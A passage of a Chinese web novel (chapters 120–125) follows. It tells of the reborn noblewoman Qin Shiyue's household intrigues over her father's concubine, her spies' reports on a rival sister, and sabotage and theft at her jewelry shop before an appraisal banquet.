皇后立刻唤来几名暗卫,命他们暗中保护,秦时月心中感动,但还是婉拒了,并将宋墨辰给她暗卫的事说了出来。 皇后愣了一下后才呵呵笑道,“都说辰儿是个冷血无情,杀伐果断的战神,没想到,也是个知冷知热的好情郎。” 听到皇后的打趣,秦时月当即红了脸。 “好了好了,不逗你了,既然辰儿有所安排,那本宫就放心了,你去吧,有什么事咱们再互通有无。” “是。”秦时月福福身子,在绘春的带路下离开了皇宫。 回到侯府后,秦时月径直回了揽月园。 拉拢朝臣绝非易事,虽有京中贵妇圈这一途径,但想要真正发挥作用,还需精心谋划,她方才不说,是因为她所谋之事并不比皇后干政简单,她,还是有些犹豫的。 唤来暗卫,秦时月先询问了秦可云那边的动静。 这名暗卫奉命盯着小院,早在一开始就神不知鬼不觉的以下人的身份混进了小院。 这也是秦时月为什么能掌握长乐侯夫人和秦可云一举一动的原因。 从暗卫口中得知秦可云那边每日都会有大夫进出,其他的并无异动后,秦时月忍不住皱了皱眉。 老夫人亲自过去,绝不会是单单看望秦可云那么简单,她们必然是在酝酿什么阴谋。 思来想去,她对暗卫道,“想办法混进小院,探听她们所谋之事。” 如今他们既然要做大事,秦时月就不会允许半点不确定的因素存在。 “是!” 暗卫退下后,秦时月起身走到了窗口。 看着满院繁华,她眸光微闪。 风起,接下来,恐怕再也没有平静的时候了…… 经过一夜的深思熟虑,秦时月决定办一场跟首饰品鉴相关的宴会,邀请的人员,自然是那些常客和京中贵人。 到时候她连卖带送的,一定能与她们拉近关系。 关系建立起来,就能为拉拢朝臣做铺垫。 第120章 自找没趣 说做就做,秦时月立刻召来小荷、小青,让她们抓紧准备品鉴会的相关事宜还有请帖。 而她则亲自挑选、设计此次品鉴会要展示的首饰,确保每一款都独具匠心,有价无市,只有这样才能在贵妇们面前大放异彩。 忙完这些,天色已经暗下来,肖嬷嬷心疼的端了一碗血燕进来,“小姐,您何苦这样着急呢?这些事慢慢来就好。” 秦时月接过燕窝喝一口,笑道,“时间紧迫,我不想临时抱佛脚。” 主要是宋砚辞虎视眈眈,变数太大,若是她不早做打算,他们或许会陷入被动,这是她不能容忍的。 肖嬷嬷无奈又心疼的摇了摇头,“小姐事事想得周全,只是也要注意身体,莫要累坏了自己。” “嬷嬷放心,我心中有数。” 话落,小青和小荷匆匆走了进来,二人手上拿着请帖和锦盒。 “小姐,请帖已经准备好了,您看看还有什么需要修改的地方?”小青道。 秦时月接过请帖仔细查看,确认无误后点点头,“不错,明日一早派些人送出去,切记,一定要送到各府夫人手上。” 小青应了一声,站到了一旁。 小荷将手里的锦盒递上,“小姐,我准备了些锦盒,用来装首饰必定能让首饰更显华贵,您看看。” 秦时月看了一眼,满意的笑了笑,“用心了。你们记住,这次的品鉴会至关重要,咱们一定要准备妥帖,确保万无一失。” 小青、小荷异口同声,“小姐放心,有您精心设计的首饰,再加上这番准备,一定不会出意外。” 如今的京中谁人不知,秦时月三个字就是潮流的代名词,她的东西,自然人人追捧。 秦时月面色不变,但不知为何,心里莫名有些不安,倒不是对自己的计划担心,而是……她总觉得老夫人这边在筹划什么,她担心老夫人会坏她的事…… “你们去忙吧,我再想想还有什么疏漏。”秦时月挥挥手,让三人退下。 待三人离开,她眼神一凛,唤来暗卫,“告诉影夜,让他安排人手密切关注太子和长乐侯府的动向,事无巨细,我全都要知道!还有,查查老夫人最近见过什么人。” 暗卫领命而去,秦时月长舒一口气,多少安心了些。 当日是长乐侯定下的每月固定团员的日子,秦时月在小荷的陪同下进了花厅。 一进门,长乐侯猛拍一下桌子,桌上的东西震了一下。 秦时月挑挑眉,主动过去请安,“父亲。” “孽女!给我跪下!” “侯爷……”芳姨娘脸色微变,下意识要为秦时月说话。 “你给我闭嘴。”长乐侯瞪她一眼,又恨恨的看向秦时月,“你不经父母同意又要举办宴会,怎么?如今这侯府是你当家了?” 一旁的长乐侯夫人面色平静,只有眼底透着几分看热闹的笑意。 秦时月一点面子也不给她留,既如此,自己也没必要再跟她上演母女情。 再加上她这么喜欢折腾,那自己就笑看她如何翻车! 坐在一旁的秦怀瑾一脸阴翳,早就没了先前的温润和傲气,他阴恻恻的看着秦时月,心里满是嫉恨,这个曾经被他视为草芥的妹妹,如今仿佛脱胎换骨,早就不受家里的管束。 可是,凭什么?凭什么!! 秦时月在心里冷哼一声,不仅没跪,反而淡定的走到桌边坐下,然后捏着丝绢擦擦嘴角,神色自若,“父亲,女儿此次举办宴会也是为了侯府。” 她的行为举止再次惹怒长乐侯,他黑着脸,怒气上头,一抬腿就踹翻了一旁的椅子,“放肆!为父还没让你坐,你竟敢落座!” 前些日子母亲跟他说起秦时月不敬尊长他还不信,现在他是看明白了,这个逆女就是个离经叛道的东西! “时月身为明月县主,想着父亲也不会让时月跪的,要不,时月给您跪一个?”秦时月表面震惊,故意问道。 长乐侯更气了。 按礼制,侯爷的爵位远在县主之上,可他这个爵位是秦时月救驾有功,特别恩赐的,是真正的有名无实。 所以他们之间不能单看身份地位,还要考虑到皇室颜面。 最重要的是,她不仅仅是县主,还是未来的辰王妃…… 想到这,长乐侯就气的胸膛起伏不断,却又拿她没办法。 秦时月笑笑,面上不见半分羞恼,“看来时月猜对了,父亲的确不想女儿下跪。” 此言一出,花厅中的气氛顿时降至冰点。 长乐侯夫人和秦怀瑾在一旁等着看秦时月翻车,等着看她受家法。 可芳姨娘却看出了长乐侯恼怒之下的迟疑。 她暗暗松口气,连忙上前,“侯爷,妾身如今怀有身孕,高僧说过,要多多为孩子积福,您就看在未出世的孩子的份上,快别跟大小姐置气了。” 这话一出,算是给足了长乐侯脸面和台阶。 他冷哼一声,声音里仍旧夹杂着怒气,“哼,看在你尚未出世的弟/妹的份上,今日就放过你!” 秦时月在心里冷哼一声,面上却笑的乖巧,“多谢父亲。” 说着,她叹口气,然后继续,“其实父亲错怪女儿了,女儿举办此次宴会,实在是为了侯府着想。” “哼!”长乐侯冷哼一声,不再看她。 “父亲,侯府这段时间的风评,您应该也有所耳闻吧?如今京中局势复杂,多结交些权贵,一来可以为您在官场上铺路,二来可以让他们看看,咱们侯府并非浪得虚名,对侯府而言,有益无害啊。” 长乐侯夫人眼看事情反转,咬咬牙,不甘心的嘟囔一句,“你一个未出阁的姑娘,懂什么局势?不过是想借着宴会出风头罢了。” 秦怀瑾也见不得秦时月出风头,立刻附和,“娘亲说的没错,秦时月,你不老老实实在院子里绣花待嫁,总闹这些幺蛾子做什么!是怕侯府丢的人还不够吗?” “大哥这话,明远有些听不懂。”秦明远皱着眉头,一脸天真。 第121章 完了,看戏不成反遭算计 “先前败坏侯府名声的,不是母亲和大哥哥、二姐姐吗?怎么如今却要指责大姐姐的不是?” “这里哪有你一个庶子说话的份!”长乐侯夫人脸色大变,狠狠瞪着秦明远道。 这个贱种也敢跟他们母子唱反调,真当他们是好惹的吗? 不过,前些日子她在卓府养病,回来后听说芳姨娘在侯府备受宠爱,侯爷对秦明远更是宠爱有加。 这样下去,瑾儿的地位一定会受到威胁。 她决不能允许这种事发生! 长乐侯夫人眼神阴鸷,里边隐隐透着几分杀气。 秦明远心里暗骂一声:蠢货。面上却一副被吓到的模样,直接躲到了芳姨娘身后。 芳姨娘一边安抚他,一边抹眼泪,“是妾身教导不严,可远儿还小,还请主母责罚妾身,莫要责怪远儿了……” 她哭的伤心,余光却时不时的观察长乐侯的反应。 长乐侯狠狠瞪向长乐侯夫人,声音明显带着不悦,“庶子?我忘了告诉你,不日我就会抬芳娘为平妻,到时候,远儿和怀瑾一样,都是嫡子!” 先前他从没有动过这样的念头,毕竟他和卓氏少年夫妻,自己又多受卓家照顾,才能一步步迈进庙堂。 可最近一段时日,卓氏的行为实在让他不满,再加上她将儿子、秦可云养废,更加重了他的不满。 而芳姨娘则不同,她将明远教养的很好,就连夫子跟他谈论的时候,都时常夸奖明远,说他是个可造之材,未来必成大器。 秦时月低头偷笑,只觉得长乐侯夫人蠢的可怜。 她刚刚那番话,针对的是秦明远,可她似乎忘了,她的夫君长乐侯,也是庶子出身,不过是娶了嫡女卓氏,在人前才抬起头,自觉高人一等,不过是仗着她秦时月的救驾之功,登上了如今的地位。 所以说啊,要说在场的谁最不愿听到“庶子”二字,一定是长乐侯。 长乐侯夫人脸色一白,身子摇晃一下,“你,你敢!” 把外头养的狐狸精领回来还不够,他竟动了抬平妻的念头?这,这可如何是好? 长乐侯脸色难看,瞪了长乐侯夫人一眼,然后起身就要走。 秦时月聪明的很,她如何看不出来,长乐侯此时只是一时气极说了气话。 可他的身份摆在这,便是口头一句玩笑话,她也得想办法给他坐实了,毕竟,她答应过芳姨娘,会给她太平妻的。 想到这,她眼珠子一转,扭头对芳姨娘笑道,“芳姨娘,你还不快谢谢父亲,父亲向来一诺千金,他说要抬你做平妻,你可要好生准备起来了。” 芳姨娘先是一愣,立刻反应过来,连忙冲到长乐侯面前福身,眼眶泛红,一副我见犹怜的样子,“多谢侯爷厚爱,妾身定会用心操持侯府,管教子女,不负侯爷所托。” 长乐侯夫人见状,急得气血上涌,冲上前去就又打又骂,“你这个狐媚子竟敢魅惑侯爷,我跟你拼了!” 秦怀瑾也怒瞪着秦时月,咬牙切齿道,“你个混账,母亲的地位受到威胁,你以为你能好过的了?” 该死的!现在父亲已经对秦明远偏心许多,要是芳姨娘再被抬成平妻,那他的地位…… 不行,他绝不能让芳姨娘上位! 秦时月似笑非笑的看着秦怀瑾,神色平淡,“君子重诺,父亲既已开口,那便是板上钉钉的事了,你凶我做什么?还有母亲,您这般撒泼,争风吃醋,传出去恐怕有损侯府的颜面。” 刚才长乐侯因为长乐侯夫人的一句话有些骑虎难下,所以才想离开,让双方都冷静冷静。 可长乐侯夫人的不依不饶和芳姨娘两相比较,再加上秦时月的话,他瞬间挺起胸膛冷哼一声,“本侯心意已决,你若再胡搅蛮缠,就别怪本侯不顾念多年的夫妻情分!” “还有你!”他转头怒瞪着秦怀瑾,“自古以来能者居之,你以后若还是不肯收敛,不思进取,这世子之位,便由明远坐吧!” 说罢,拂袖而去。 长乐侯夫人眼神空洞的瘫坐在地放声大哭,秦怀瑾面色阴沉,狠狠瞪了秦时月一眼后,才弯腰扶起长乐侯夫人,然后在下人的簇拥下离开了花厅。 他们怎么也想不通,明明是看秦时月的热闹,等着看她翻车,可到头来,芳姨娘却成了那个最终获利者,而他们的地位却受到了威胁,日后在侯府,他们出处境只会更加尴尬…… 芳姨娘看着他们离去的背影,扭头看向秦时月,眼中满是感激,“大小姐,多谢,若不是你,妾身便是再熬上多年,怕是也不会有这天。明远,快给你大姐姐跪下,谢谢她。” 秦明远是个聪明的,他没有多说半个字,朝着秦时月就要跪下,秦时月对他的欣赏多了几分,却是迅速伸手扶住了他。 “咱们是姐弟,无需这般。”说着,又看向芳姨娘,“我答应过你,就一定会做到,如今父亲松了口,还是尽快把这件事落实的好,以免夜长梦多。” 芳姨娘忙不迭点头,“大小姐说的是,芳娘一切听大小姐的。” “远儿也是,大姐姐以后有用得到远儿的地方,远儿赴汤蹈火也在所不辞!” 看着个头马上要赶上自己的秦明远,秦时月笑着伸手揉了揉他的头,“你既唤我一声大姐姐,我必然不会让你做危险的事,你好好学习,将来这侯府,未尝不能是你的。” 她要复仇,所以对她来说,侯府并没有存在的必要,可就因为上一世,在她险些病死的时候,芳姨娘为她请来了大夫,吊了她一个月的命,所以她才愿意帮他们娘俩。 她希望这娘俩不要让她失望,只要他们安分守己,哪怕耍些小聪明,她也不会放在心上,只要……不像那些所谓的家人,算计她,他们会有一个好结局。 是夜,秦时月刚想让小荷吹灯,窗外突然传来轻微的猫叫声。 小荷皱皱眉,“这段日子经常听到野猫叫,也太烦人了,明日奴婢就去请人来清理这些野猫。” 第122章 最新消息 “不必,万物有灵,你又何必和它们一般见识呢?好了,我想再看两页画本子,你先去休息吧。”秦时月笑笑,眼底闪过一抹精光。 这猫叫是暗卫与她之间的暗号,此时对方就等在窗下,她自然要尽快支开小荷,免得误事。 “那小荷去给您冲碗参汤来吧,也好养养神。” “不用了,你快去休息吧,记住,无论听到什么动静,都不用起来查看。” 小荷不解,但相信自家小姐,所以点点头退了出去,退出去时不忘将门给她关好。 小荷前脚离开,屋内后脚多了一道单膝跪地的身影,“大小姐。” “嗯。”秦时月不语,耐心的等待下文。 “秦可云小产了,今日大出血差点死掉。”暗卫恭敬的低头说道。 秦时月挑挑眉,有些意外。 这个孩子对秦可云而言有多重要,她心里清楚。但凡秦可云还想回定远侯府,就不会让这个孩子出事,除非…… “这几日我母亲和祖母可去过?” “回大小姐,老夫人没再去,但侯府夫人每隔一日都会去一趟,每次去都会带些价值不菲的营养品。” “哦?”秦时月漫不经心的敲击着床边,眼神闪烁。 这倒有趣了,难不成这一切都是她那个母亲的谋划? 可让秦可云流产又是为什么?为她从觅如意郎君,还是……给她安排了更好的去处? “大小姐,有件事,属下不知该不该说。” “我说过,事无巨细,我都要知道。” “这些日子一直有一个年长的嬷嬷在屋内陪着秦可云,属下觉得有问题,有次飞上房顶偷看过,发现那个老嬷嬷在教她礼仪。”暗卫一五一十的说道。 “教养嬷嬷?”秦时月眸光一沉,瞬间联想到一个月后的选秀大典上,同时也大概猜到了老夫人的意思。 好啊,老虔婆果然静不下来,竟然把主意打到了老皇帝的身上! 不过,就算是她也不得不承认,老夫人心思缜密,这的确是一招妙棋。 一旦秦可云被选入宫中,凭借她的心机和手段,老夫人的从旁帮助,说不定,秦可云真能在后宫站稳脚跟。 想到这,秦时月的嘴角勾起一抹嘲讽的笑意。 “继续盯着,有什么动静第一时间来报。还有,查查那个教养嬷嬷的来历,我要知道她到底什么来头。” “是!”暗卫领命,身影一闪,消失在夜色中。 秦时月躺在床上,陷入沉思。 她原以为已经掌控了侯府,却没想到老夫人、母亲,还有秦可云竟然能在她的眼皮子底下谋划这么大的事。 这样也好,事发时,不用她动手,这些人的项上人头,一个都逃不了! 第二日清晨,秦时月早早起身,简单洗漱后,本想出门一趟,但想起昨夜的事,眼神一闪,转身去了正厅。 她刚踏入门槛,便看到长乐侯夫人和秦怀瑾正坐在那里,两人脸色阴沉,看到她进来,眼里更是闪过一丝厌恶和浓烈的恨意。 “孽女!”长乐侯夫人恨恨说道。 秦时月仿佛没听到她的话,微微一笑,施施然行了个礼,“母亲好,时月给母亲请安了。” 秦怀瑾冷哼一声,“你少在这里假惺惺的,你以为你想做什么我们不清楚?你别以为抬了那个贱妾做平妻,你就能无法无天!” 昨夜母亲与他商量了一宿,就算那个贱妾被抬为平妻也没什么,她无权无势,没有任何背景,不像母亲,是卓家的嫡女。 只要卓家一日不倒,秦明远一日就不能真正威胁他的位置! 秦时月坐下,似笑非笑,“大哥这话说的时月有些听不懂。不过,父亲既然已经决定抬芳姨娘为平妻,任何人都左右不了。或者,大哥若是对父亲的决定有异议,大可以去找父亲理论。” 长乐侯夫人一听,顿时火冒三丈,“你这个小贱人,还敢顶嘴!我告诉你,只要我还活着一天,就容不得你这般放肆!” 秦时月挑挑眉,目光清冷的看着她,“母亲,您还是先操心操心自己吧。您现在遭父亲厌弃,再不知收敛,只怕这侯府夫人的位置,也要做到头了。” 长乐侯夫人被气的脸色难看,眼神慌乱,“你父亲与我是少年夫妻,他绝不会做对不起我的事!” 她仍强装镇定,但紧紧攥起的拳头已经泄露了她的担心。 秦时月轻笑一声,笑容不达眼底,“啧啧,如今父亲对芳姨娘母子宠爱有加,对母亲您和大哥的所作所为却是失望至极,您觉得,父亲会一直顾念旧情吗?” 长乐侯夫人和秦怀瑾心中一慌,却仍嘴硬道,“就算你父亲看重秦明远又如何?你大哥是嫡长子,这侯府的未来终究是他的!” 她虽然不喜欢秦时月,可这个贱丫头说的对,侯爷如今被芳姨娘母子迷惑,连他们多年夫妻情分都不顾及,更何况怀瑾? 为了怀瑾,她不得不早做打算…… 想到这,长乐侯夫人眼神一沉,里边竟隐隐多了一丝狠戾。 将她所有的神情收进眼里,秦时月笑了。 “时月知道自己不得母亲青眼,既然这样,时月就不打扰你们吃饭了。不过,您若是真想保住自己的地位,还是管好自己,也好好管管大哥,让他往后收敛些,莫要再做出那些让父亲不满和丢脸的事才最重要。” 说完,秦时月起身就走,只留下脸色难看,各怀心思的母子俩。 “小姐,您和夫人、大公子闹的如此僵,的便宜的还不是那个姨娘吗?”路上,小荷忍不住问道。 她实在是不明白小姐是怎么想的。 好像,她很不喜欢夫人和大少爷。 可在江南三年,小姐不是日日都想回来,想承欢膝下吗? “傻丫头,你呀,别一天天的胡思乱想,这些事跟你没关系。”秦时月弯眸笑笑,眸底却带着几分兴味。 今日她故意在他们面前说了这些,以她母亲的脾气,怕是容忍不了。 就是不知道接下来,长乐侯夫人要对付的是她那个好父亲,还是芳姨娘母子。 第123章 细微瑕疵引注意 想到这,秦时月叫小荷附耳过来,然后在她耳边轻声叮嘱几句。 小荷似懂非懂的点点头,然后转身,一路小跑着朝芳萍园跑去,而她则朝着门口走去。 现在是多事之秋,不论如何,她都该提点芳姨娘一声,希望,她不会让自己后悔。 此时芳姨娘正在自己的院子里修剪花枝,见小荷匆匆而来,疑惑一下,放下了剪刀。 小荷将秦时月的话原原本本转达后,芳姨娘的眼里闪过一丝警觉,随即感激的点头道:“请姑娘转告大小姐,芳娘明白轻重,定会小心行事。” 她知道长乐侯夫人和秦怀瑾绝对不会善罢甘休,所以即便没有提醒,她和远儿也会小心谨慎,不过,秦时月的提醒倒是让她多了几分感动,也让她坚定了站在秦时月这边的决心。 秦时月来到府门外,马车早已等候多时。 她正要上车,一头皮毛锃亮的高头大马突然停在门口,“时月!” 陆明昭? 她挑挑眉,抬脚要走,显然不想搭理他。 可他却翻身下马,急切的跑到她面前,将她拦在马车下,“时月,我这段时间被父亲禁足在家,所以一直没来看你,你,这段时间过的怎么样?” 经过这段时间的禁足,他总算是看清了自己的心意,他心悦秦时月。 虽然秦时月和辰王有婚约在身,但一日不举行大典,他就有机会! 秦时月似笑非笑的看着他,声音清冷又疏离,“陆世子这话本县主有些听不懂,你不去关心你的秦姨娘,反而来询问我的情况,传出去,不怕让人非议?” 陆明昭被她的话一噎,脸色顿时一阵青一阵白。 他深吸一口气,压低声音道,“我知道你还在为之前的事生气,但那时我也是被秦可云蒙蔽了双眼。现在我看清了她的真面目,我也认识到了自己的心意,我爱的人其实是……” “陆世子!”秦时月面色一冷,“说话需谨慎!” 说着她突然勾唇一笑,“再者,你现在说这些,不觉得太晚了吗?当初你为了她不惜当众退婚羞辱我,如今又跑来献殷勤,真当我和她一样,是可以任你摆布的玩物?” “不,不是这样的!”陆明昭急切的想要解释,却被她抬手制止。 “够了,我并不想听。”秦时月冷哼一声,转身就要登上马车,却在脚踩上凳子的时候又停了下来,背对着他道:“奉劝陆世子一句,与其在这里浪费时间,不如好好想想怎么保住你的爵位。毕竟,一个连自己后院都管不好的世子,又能指望他有什么作为呢?” 这番话如同一把利刃,直接刺进陆明昭的心脏。 他怔怔的站在原地,眼睁睁看着秦时月上车,马车渐行渐远,拳头握紧又松开…… 在这之前,他还能欺骗自己说秦时月是喜欢他的,可如今,事实被血淋淋的揭开,他,承受不住。 “小姐,需要属下打发掉他吗?” 马车外,一道隐忍的声音响起。 秦时月嘴角微勾,直接靠在马车的厚垫子上闭上了眼,“不必。是有什么消息吗?” 她耳力极佳,早就知道有人跟着,所以一点也不意外。 “回大小姐,秦可云院子里嬷嬷的身份属下已经查到了,是宫里的教养嬷嬷,常年跟在良妃身边。” 良妃?宋砚辞的母妃? 秦时月睁开眼,眼底闪过一丝笑意。 事情变得越来越有趣了。 原本她还想着,要搬倒宋砚辞并不容易,可良妃愚蠢,竟舍得让自己身边的老人出宫,如此一来,倒是可以好好利用。 她心里有了计划,轻声交代两句,听到耳边再无动静,这才继续闭目养神。 马车很快停到了明月芳华。 品鉴会所需的首饰容不得半点马虎,所以秦时月宁可累点,也要亲自盯着才放心。 秦时月刚踏入明月芳华的大门,掌柜的便满脸堆笑的迎了上来,“东家来的正好,新到了几件头面,我这就拿来请您过目。” 她微微颔首,转身上了二楼的内室。 这是装修时就开辟出来的,只见案几上铺着锦缎,小几上摆放着精美的茶具和日日都会更换的糕点。 她才落座,伙计就拎着新茶上来为她填满,掌柜的也随后进门,将一个托盘恭敬的放到桌面上。 “东家,这些头面我先前掌了掌眼,无论是做工还是质地、用料,都是上乘,特别是这支金凤步摇,宝石成色极佳,整个京中都是少有的存在。” 秦时月拿起掌柜的口中的那支金凤步摇,细细打量。 “确实不错,可惜……不是独一无二。” 东西嘛,贵在稀有,京中少有,就意味着,那些贵人在其他的铺子里也可以买到,这便体会不出它的珍贵。 掌柜的额头上有冷汗滑下,“是。不过,这套头面用的是西域进贡的宝石,工匠们熬了三个通宵才赶制出来,也很不容易了……还有成套的这对耳坠,上边的珍珠全都来自东海,都是精挑细选过的。” 秦时月拿起耳坠,指尖轻抚过珍珠表面时,动作突然一顿。 “这珍珠,有问题。” 掌柜的脸色骤变,连忙接过,凑近细看。 只见珍珠表面隐约可见几道微不可查的裂纹,不仔细查看,不是专业的人,根本发现不了。 他当即双腿发软,“这,这怎么可能?这批头面是我亲自验收的……” 她放下耳坠,转而拿起另一套翡翠头面,像是不甚在意的开口,“这套首饰在你验收后,可经过其他人的手?” 掌柜的是她亲自定的,这些日子,他做事严谨,有条理,事事周到,所以她相信掌柜的,可明月芳华的招牌容不得半点马虎! 阳光透过窗棂洒在翡翠头面上,映出通透沁人心脾的祖母绿。 这套无可挑剔,没有一点瑕疵,每一处雕工都透着匠心,是不可多得的珍品。 “我想着东家今日会来查账,所以,所以并没有将这些首饰收起来,能接触到它们的人……应该不少。” 第124章 行为可疑的张师傅 掌柜的越说越懊恼,恨不得给自己两巴掌。 这头面价格不菲,虽不至于价值千金,但也够买他几条命了,如今在他手上出事,他是万死难辞其咎。 看着掌柜的害怕到浑身颤抖,秦时月轻轻放下手中的翡翠头面,指尖在桌面上有节奏地敲击着,眼神由一开始的漫不经心,渐渐变的凌厉起来。 “想要我相信你,就戴罪立功,查清楚都有谁动过这批首饰。从伙计到洒扫的婆子,一个都不能漏。特别是最近新来的那些人。” 掌柜的擦擦额头的冷汗,连连点头,正要转身去办,却又被她叫住。 “等等。请张师傅上来一趟。” 张师傅是明月芳华的锻造师傅,手艺精湛,在首饰制作方面也有他自己的独到见解。 秦时月设计的珠宝经他的手,都能完美打造出来,甚至能弥补图纸上细微的不足。 而这次请他上来,一来是为了品鉴会,另一方面,是想请他看看这对有问题的珍珠耳坠。 张师傅很快来到内室,一进门就恭敬的垂头站在一旁。 秦时月将耳坠递给他,声音带笑,“张师傅,你看看这耳坠。” 张师傅接过耳坠,将其对着光线仔细检查,眉头渐渐拧紧,“这裂纹……怪异,似乎不像是天然形成,而是人为造成的。” 秦时月唇角微勾,在心里默默点了点头。 不错,是个细心又经验老道的师傅。 她没有接话,只是喝口茶,耐心等候下文。 “这裂纹细不可查,若非行家根本看不出来。而且……”他犹豫了一下,“这手法我曾在宫中见过,是专门用来破坏贵重首饰的。” 宫中? 秦时月眸中闪过一丝耐人寻味的深意和冷意,但到底没有追着张师傅多问,毕竟,谁还没有些小秘密呢?只要他不背叛她,一切的过往,她都不会追究。 她冷哼一声,道,“看来,是有人存心要砸明月芳华的招牌。” “张师傅,你带人重新检查所有新到的首饰,一件都不能放过!” 说完,她站起身走到窗前,看着街上来来往往的人群,心里有了计较。 此事说大不大说小不小,但对方既然是专业的,单靠掌柜的和张师傅,怕是什么都查不出来,一会儿,怕是得动用暗卫的力量。 正当她准备让张师傅退下时,门外突然传来一阵骚动。 紧接着,一个熟悉的声音穿透门板传来,“本公主今日定要见到那套翡翠头面!” “东家……”张师傅皱皱眉,眼底闪过一丝慌乱。 秦时月将这一切看进眼底,挑挑眉,让他先藏到屏风后,她则起身,拉开了房门。 “三公主?”她嘴角带笑,笑意不达眼底,“今日是什么风,竟然把您吹到我这里了?” 三公主看到秦时月,眼里闪过一丝不屑,但很快又换上傲慢的神情,“本公主听说你们这里新到了一批上好的翡翠首饰,特意来看看。” 秦时月微微一笑,侧身让开一条路,“殿下请进。实不相瞒,新进的首饰还在检查中,暂时怕是不能供您挑选。” 三公主绕过她走进内室,目光瞬间被套翡翠首饰吸引住。 她心里喜欢的紧,但还是哼了一声,一脸不屑的嘟囔,“这就是你们这新进的?看起来也不过如此。” 她一边说着,一边伸手就要去拿,却被秦时月不着痕迹的挡下,“殿下说的是,这批首饰配不上高贵的您。” 三公主脸色一沉,“你这是什么意思?配得上配不上不是你说了算的,现在,本公主连看都不能看?” “殿下误会了,来者是客。只是这批首饰有些问题,我们正在排查原因。若殿下不嫌弃,不如改日再来,届时我亲自为您挑选最好的。” 三公主眯着眼盯着她看了半晌,突然冷笑一声,“好,很好。秦时月,你给本宫等着!” 说完,气冲冲的离开了。 若不是她母妃喜欢翡翠,她又正好听赵景阳说秦时月这里新上了一批价值不菲的首饰,她根本不会来。 本以为有太子哥哥的面子在,秦时月不仅会双手奉上,甚至有很大的概率会免费让她带走,可现在…… 真是好的很!这还是头一次有人敢驳她的面子! 秦时月,她记下了! 听到外头没了动静,张师傅这才从屏风后走出,面上还带着一丝惊魂未定,“东家,若是没别的事,小人就先退下去了。” 秦时月轻轻摩挲着茶杯边缘,将他所有的微表情收进眼底,然后点了点头,“嗯,下去吧。” 看着他离开的背影,秦时月眸光深邃,她们的这位张师傅,怕也不是个简单的人物。 “来人。”她轻掀嘴唇,很快,屋内出现一个单膝跪地的暗卫,“派人调查张师傅的过往,还有,查清楚都有谁动过这批首饰,要注意不要让人察觉。” 她不是信不过掌柜的,她是觉得,凭掌柜的一个人,根本查不到任何有价值的线索。 “是!” “等等。”秦时月眸光一沉,轻飘飘道,“让人盯紧三公主,还有她最近接触过的人。” 她总觉得三公主今天来的奇怪,一定是有人在背后搞事情,至于目的,她就不得而知了。 “是!” 暗卫领命退下,窗外传来一阵清脆的鸟鸣。 秦时月起身,缓步走到窗前推开窗户,指尖轻轻敲击着窗框。 这个张师傅刚才听到三公主驾到时的反应实在太过反常,不查一查,她实在不放心。 就在她沉思之际,门外传来一阵不疾不徐的脚步声,她听的出来,是小荷。 “小姐。”果然,下一秒小荷推门而入,“您怎么不等女婢就一个人来了?” 小荷这番话听在秦时月的耳朵里更像是撒娇。 她笑笑,故意逗小荷,“你不是知道我要来这里吗?有什么好生气的?” 小荷当即脸色大变,“小姐,奴婢,奴婢没有生气。” 她只是个小丫头,哪敢生主子的气,她只是从芳萍园出来没看到秦时月,有些担心她。 第125章 有鬼?有鬼! 幸好她知道秦时月的脾气,猜到她要来铺子里,这才一路小跑着追过来。 听到她的解释,秦时月噗嗤一声笑了。 见她笑出声,小荷这才反应过来,她家小姐在逗她。 松口气,小荷不仅没有半点不快,反而快步上前,将手中的食盒放在桌上,一边打开一边说道,“小姐,这是奴婢路上顺道买的点心,您吃点垫垫肚子。” 她们一早就去了正厅,她家小姐什么都没吃。 秦时月看着食盒里精致的糕点,心里划过一丝暖意。 她随手拿起一块桂花糕,轻咬一口,香甜的味道在舌尖蔓延开来。 “小姐,奴婢刚才在来的路上听说了一件怪事。”小荷压低声音,神秘兮兮的说道。 秦时月挑眉看她一眼,示意她继续说下去。 “奴婢听街边卖糖人的老李头和打更的在说话,昨个儿半夜,打更的看见有黑影从他面前一闪而过,他揉揉眼再看,又什么都没有,吓的他一晚上都没睡好。” 小荷说着,吞口唾沫,脸上浮现出几分惧色,“小姐,您说,会不会有鬼啊?” 秦时月放下手中的糕点,眼底浮现出一丝凝重。 前世若有人在她面前说这些,她是无论如何也不信的,可她亲自经历过,所以……不能排除。 她若有所思的看向窗外,手指无意识摩挲着茶杯边缘。 不过,见识过皇后和宋墨辰身边的暗卫后,她更愿意相信,打更的看到的,是一个身手高强的人。 “小荷,去打探一下,问清楚,打更的昨夜是在哪看到那抹黑影的。”秦时月眸光深沉,里边带着几分凝重,“还有,转告掌柜的,让他仔细检查一下库房,看看有没有丢失什么东西。” 小荷心了害怕,但知道自家小姐绝不会无缘无故让自己做这些事,应了一声,转身退了出去。 小荷离开后,秦时月闲着无事,干脆翻看起账本,不知过了多久,门外传来一阵急促的脚步声。 下一秒,掌柜的慌慌张张的推门跑了进来,“东家,不,不好了!库房里少了两套首饰,都是准备在品鉴会上展出的珍品!” 秦时月眸色一沉,声音却出奇的平静,“少了哪两套?” 掌柜的紧张到额头全是冷汗,声音都带着颤音,“是,是一套红宝石璎珞首饰和羊脂玉首饰,都是前些日子刚从番邦运来的珍品。” 他真是该死,短短一炷香的时间就查出两件纰漏,就是东家不惩罚他,他都没脸再待下去…… 她缓缓合上账本,眼底闪过一丝冷芒,“看来,有人是冲着品鉴会来的。” 联系到小荷说过的话,秦时月很快明白过来。 昨夜的黑影,怕是翻墙进了她的明月芳华,而那消失的两套首饰,必然就在那人身上! 窗外忽然刮进一阵风,将窗户吹的猎猎作响。 秦时月站起身走到窗前,垂眸看着街上人群,嘴角勾起一抹冷笑。 好啊,敢将手伸到她面前,她要是什么都不做,岂不是太对不起对方了!? “东家,是小人办事不利,等找到这两套首饰,修复好损坏的珍珠,小人,小人立刻离开铺子。” 掌柜的低垂着头,声音苦涩。 她转身看向掌柜的,眼底的冷意渐渐褪去,“你也不必如此着急请辞,这次的事未必全是你的责任。眼下当务之急是找出幕后的人,至于其他的,等事情了结再说。” 有人刻意针对,一个掌柜的,他又能如何防备的了? 安抚完掌柜的,她回到桌前,略一思索,道,“去把丢失的那两套的首饰图纸取来,再查查最近几日所有接触过这批首饰的人员名单。特别是那些新收的人和突然请假的人,一个都不能漏。” 掌柜的连连应是,正要退下时又被叫住。 “等等。派人去查查,市面上可有人兜售类似的珠宝首饰,若有发现,立刻来报。” 掌柜的领命后迅速离开,生怕耽误事。 他离开后,秦时月眯了眯眼。 这幕后之人不仅懂的破坏首饰的手法,还能神不知鬼不觉地盗走珍品,想来是个老手。 